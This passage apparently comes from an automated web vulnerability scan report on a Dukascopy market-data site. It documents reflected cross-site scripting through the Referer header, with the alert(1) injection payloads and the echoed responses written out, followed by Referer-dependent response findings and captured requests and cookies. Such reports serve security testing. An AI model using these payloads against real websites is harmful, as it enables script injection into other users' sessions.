GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=e9d67--><script>alert(1)</script>bcb9c5a6294
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:43 GMT
Server: lighttpd/1.4.26
Content-Length: 24851

<!-- Check IB [http://www.google.com/search?hl=en&q=e9d67--><script>alert(1)</script>bcb9c5a6294] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C
...[SNIP]...

1.24. http://freeserv.dukascopy.com/dhtml_rb/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 9be3e--><script>alert(1)</script>dddda846d74 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=9be3e--><script>alert(1)</script>dddda846d74
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:41 GMT
Server: lighttpd/1.4.26
Content-Length: 15606

<!-- Check IB [http://www.google.com/search?hl=en&q=9be3e--><script>alert(1)</script>dddda846d74] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><h
...[SNIP]...

1.25. http://freeserv.dukascopy.com/qt/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c08e"><script>alert(1)</script>7602cc51cbb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=1c08e"><script>alert(1)</script>7602cc51cbb
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:59 GMT
Server: lighttpd/1.4.26
Content-Length: 34272

<!-- Check IB [http://www.google.com/search?hl=en&q=1c08e"><script>alert(1)</script>7602cc51cbb] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {
...[SNIP]...
<input type=hidden name=rf value="http://www.google.com/search?hl=en&q=1c08e"><script>alert(1)</script>7602cc51cbb" >
...[SNIP]...

1.26. http://freeserv.dukascopy.com/qt/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 38662--><script>alert(1)</script>4d82fe9e37f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=38662--><script>alert(1)</script>4d82fe9e37f
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:04 GMT
Server: lighttpd/1.4.26
Content-Length: 34283

<!-- Check IB [http://www.google.com/search?hl=en&q=38662--><script>alert(1)</script>4d82fe9e37f] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo
...[SNIP]...

2. Referer-dependent response  previous  next
There are 3 instances of this issue:

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.



2.1. http://freeserv.dukascopy.com/analytics/index.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Request 1

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:41 GMT
Server: lighttpd/1.4.26
Content-Length: 24811

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Analytics</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style>
* {font-size:12px; font-family:Verdana;}
h1 {font-size:160%;}
.dateStamp {font-size:85%; font-family:Arial; color:#888; }
.infoBlock {margin:2px 1px 6px 1px; font:11px Tahoma;}
.popLink {font:11px Tahoma; font-weight:bold;}
.light_scroll {
   SCROLLBAR-FACE-COLOR: #F2F2F2; /*MARGIN: 0px;*/
   SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
   SCROLLBAR-SHADOW-COLOR: #F5F5F5;
   SCROLLBAR-3DLIGHT-COLOR: #F5F5F5;
   SCROLLBAR-ARROW-COLOR: #fnt_col;
   SCROLLBAR-TRACK-COLOR: #F5F5F5;
   SCROLLBAR-DARKSHADOW-COLOR: #808080;
}
body {font-size:11px;font-family:Verdana;color: #000000; overflow:hidden;}
p {font-size:11px;font-family:Verdana;color: #000000 padding-bottom:0px;}
a {font-size:11px;font-family:Verdana;color: #005599; text-decoration:none;}
td {font-size:13px;font-family:Verdana;color: #000000; padding-bottom:0px; background-color: #d0d0d0}
</style>

<script>
function disclaimer() {
    hz=window.open('disclaimer.html','', 'width=300,height=120,toolbar=no,resizable=no,scrollbars=auto,statusbar=no,left=200,top=100');
}

function open_news(what) {
hz = window.open ("","","width=700,height=500,location=yes,toolbar=yes,resizable=yes,scrollbars=yes,statusbar=yes");
hz.location = what;
}

function do_ajust(out_c,in_c){
   out_c.style.position        ='absolute';
out_c.style.left            = "1px";
out_c.style.top            = "20px";
   out_c.style.fontWeight        = 'bold';
   out_c.style.color            = '#707070';
   out_c.style.backgroundColor = '#EEEEEE';
   out_c.style.borderBottom    = '1px solid #707070';
   out_c.style.paddingBottom    = '2px';
out_c.style.width = (document.body.firstChild.clientWidth-2)+"px";
//out_c.style.width = '99%';
   return;
}

var nonIE;
function init() {
   nonIE = (navigator.pr
...[SNIP]...

Request 2

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response 2

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:16 GMT
Server: lighttpd/1.4.26
Content-Length: 24734

<!-- REFERENCE NOT FOUND --><!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Analytics</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style>
* {font-size:12px; font-family:Verdana;}
h1 {font-size:160%;}
.dateStamp {font-size:85%; font-family:Arial; color:#888; }
.infoBlock {margin:2px 1px 6px 1px; font:11px Tahoma;}
.popLink {font:11px Tahoma; font-weight:bold;}
.light_scroll {
   SCROLLBAR-FACE-COLOR: #F2F2F2; /*MARGIN: 0px;*/
   SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
   SCROLLBAR-SHADOW-COLOR: #F5F5F5;
   SCROLLBAR-3DLIGHT-COLOR: #F5F5F5;
   SCROLLBAR-ARROW-COLOR: #fnt_col;
   SCROLLBAR-TRACK-COLOR: #F5F5F5;
   SCROLLBAR-DARKSHADOW-COLOR: #808080;
}
body {font-size:11px;font-family:Verdana;color: #000000; overflow:hidden;}
p {font-size:11px;font-family:Verdana;color: #000000 padding-bottom:0px;}
a {font-size:11px;font-family:Verdana;color: #005599; text-decoration:none;}
td {font-size:13px;font-family:Verdana;color: #000000; padding-bottom:0px; background-color: #d0d0d0}
</style>

<script>
function disclaimer() {
    hz=window.open('disclaimer.html','', 'width=300,height=120,toolbar=no,resizable=no,scrollbars=auto,statusbar=no,left=200,top=100');
}

function open_news(what) {
hz = window.open ("","","width=700,height=500,location=yes,toolbar=yes,resizable=yes,scrollbars=yes,statusbar=yes");
hz.location = what;
}

function do_ajust(out_c,in_c){
   out_c.style.position        ='absolute';
out_c.style.left            = "1px";
out_c.style.top            = "20px";
   out_c.style.fontWeight        = 'bold';
   out_c.style.color            = '#707070';
   out_c.style.backgroundColor = '#EEEEEE';
   out_c.style.borderBottom    = '1px solid #707070';
   out_c.style.paddingBottom    = '2px';
out_c.style.width = (document.body.firstChild.clientWidth-2)+"px";
//out_c.style.width = '99%';
   return;
}

var nonIE;
function init() {
   nonIE = (navigator.product == "Gecko" || navigator.appName == "Opera") ? true : false;

   tabDivObj
...[SNIP]...

2.2. http://freeserv.dukascopy.com/dhtml_rb/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Request 1

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 19:01:23 GMT
Server: lighttpd/1.4.26
Content-Length: 15568

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Board</title>
<style>
#logo {font-family:Tahoma; font-size:9px;
/*    BORDER-RIGHT: #C0C0C0 1px solid;
   BORDER-TOP: #ffffff 1px solid;
   BORDER-LEFT: #ffffff 1px solid;
   BORDER-BOTTOM: #C0C0C0 1px solid;
   background: #F8F8F8;
*/    
background: #FFFFFF;
color: #000000;

}
#st_row_tmp {cursor:hand;}

#main_table_contaner {/*cursor:help;*/}

body {font-family:Tahoma; font-size:9px;}
.hid {display:none; white-space: nowrap;}
.shw {display:''; white-space: nowrap; text-align:center;}

.G {color:#00B900;font-size:9px; }
.R {color:#D20000;font-size:9px; }

TD { font-family:Tahoma;
font-weight:normal;
font-size:9px;
   padding-left:2;
   padding-right:2;

}

.window_ramka {
/*BORDER: #808080 1px solid; */
/*
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP: #808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
*/
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.light_scroll {
   SCROLLBAR-FACE-COLOR: #F2F2F2; /*MARGIN: 0px;*/
   SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
   SCROLLBAR-SHADOW-COLOR: #F5F5F5;
   SCROLLBAR-3DLIGHT-COLOR: #F5F5F5;
   SCROLLBAR-ARROW-COLOR: #000000;
   SCROLLBAR-TRACK-COLOR: #F5F5F5;
   SCROLLBAR-DARKSHADOW-COLOR: #808080;
}
.line {
   /*BORDER-RIGHT: #808080 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #808080 1px solid;
*/
   padding-left:2;
   padding-right:2;
   background: #11598b;
   text-align:center;
   color: #ffffff;
   font-weight:bold;
}
.line_chet {
   /*BORDER-RIGHT: #808080 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #808080 1px solid;
*/
   padding-left:2;
   padding-right:2;
   background: #11598b;
   text-align:center;
   color: #ffffff;
   font-weight:bold;

}
.devider{
   padding-left:2;
   pad
...[SNIP]...

Request 2

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response 2

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 19:01:48 GMT
Server: lighttpd/1.4.26
Content-Length: 15487

<!-- REFERENCE NOT FOUND --><!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Board</title>
<style>
#logo {font-family:Tahoma; font-size:9px;
/*    BORDER-RIGHT: #C0C0C0 1px solid;
   BORDER-TOP: #ffffff 1px solid;
   BORDER-LEFT: #ffffff 1px solid;
   BORDER-BOTTOM: #C0C0C0 1px solid;
   background: #F8F8F8;
*/    
background: #FFFFFF;
color: #000000;

}
#st_row_tmp {cursor:hand;}

#main_table_contaner {/*cursor:help;*/}

body {font-family:Tahoma; font-size:9px;}
.hid {display:none; white-space: nowrap;}
.shw {display:''; white-space: nowrap; text-align:center;}

.G {color:#00B900;font-size:9px; }
.R {color:#D20000;font-size:9px; }

TD { font-family:Tahoma;
font-weight:normal;
font-size:9px;
   padding-left:2;
   padding-right:2;

}

.window_ramka {
/*BORDER: #808080 1px solid; */
/*
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP: #808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
*/
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.light_scroll {
   SCROLLBAR-FACE-COLOR: #F2F2F2; /*MARGIN: 0px;*/
   SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
   SCROLLBAR-SHADOW-COLOR: #F5F5F5;
   SCROLLBAR-3DLIGHT-COLOR: #F5F5F5;
   SCROLLBAR-ARROW-COLOR: #000000;
   SCROLLBAR-TRACK-COLOR: #F5F5F5;
   SCROLLBAR-DARKSHADOW-COLOR: #808080;
}
.line {
   /*BORDER-RIGHT: #808080 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #808080 1px solid;
*/
   padding-left:2;
   padding-right:2;
   background: #11598b;
   text-align:center;
   color: #ffffff;
   font-weight:bold;
}
.line_chet {
   /*BORDER-RIGHT: #808080 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #808080 1px solid;
*/
   padding-left:2;
   padding-right:2;
   background: #11598b;
   text-align:center;
   color: #ffffff;
   font-weight:bold;

}
.devider{
   padding-left:2;
   padding-right:2;
   background: 0054a6;
   text-align:center;
   color: #C0C0C0;
   }



...[SNIP]...

2.3. http://freeserv.dukascopy.com/dhtml_rb/prc.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/prc.php

Request 1

GET /dhtml_rb/prc.php?STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1990 05:00:00 GMT
Last-Modified: Thu, 17 Mar 2011 18:24:57 GMT
Cache-Control: no-cache, must-revalidate, no-store, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:57 GMT
Server: lighttpd/1.4.26
Content-Length: 872

<html>
<head>
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="-1" />
</head>
<body>
<script type="text/javascript">

setTimeout('document.location.reload()', 15000);

var pw = parent;
pw.sr(29,8.9909);
pw.sr(30,1.2779);
pw.sr(74,7.1312);
pw.sr(767,80.08);
pw.sr(2,1.6138);
pw.sr(1,1.4013);
pw.sr(532,1.1382);
pw.sr(515,1.1377);
pw.sr(20,5.2564);
pw.sr(60,77.53);
pw.sr(543,6.0355);
pw.sr(521,87.81);
pw.sr(518,1.453);
pw.sr(517,127.61);
pw.sr(516,1.1514);
pw.sr(511,1.2618);
pw.sr(510,0.8682);
pw.sr(509,110.83);
pw.sr(16,1.3518);
pw.sr(15,3.7503);
pw.sr(7,3.6417);
pw.sr(6,0.709);
pw.sr(5,5.9281);
pw.sr(336,707.0);
pw.sr(335,1696.25);
pw.sr(334,34.3);
pw.sr(333,1403.63);
pw.sr(14,6.4148);
pw.sr(13,5.3212);
pw.sr(12,5.66);
pw.sr(11,0.718);
pw.sr(10,0.9807);
pw.sr(9,0.9871);
pw.sr(4,79.08);
pw.sr(3,0.9004);
</script>
</body>
</html>

Request 2

GET /dhtml_rb/prc.php?STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response 2

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1990 05:00:00 GMT
Last-Modified: Thu, 17 Mar 2011 18:25:04 GMT
Cache-Control: no-cache, must-revalidate, no-store, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:04 GMT
Server: lighttpd/1.4.26
Content-Length: 0


3. HTML does not specify charset  previous  next
There are 5 instances of this issue:

Issue description

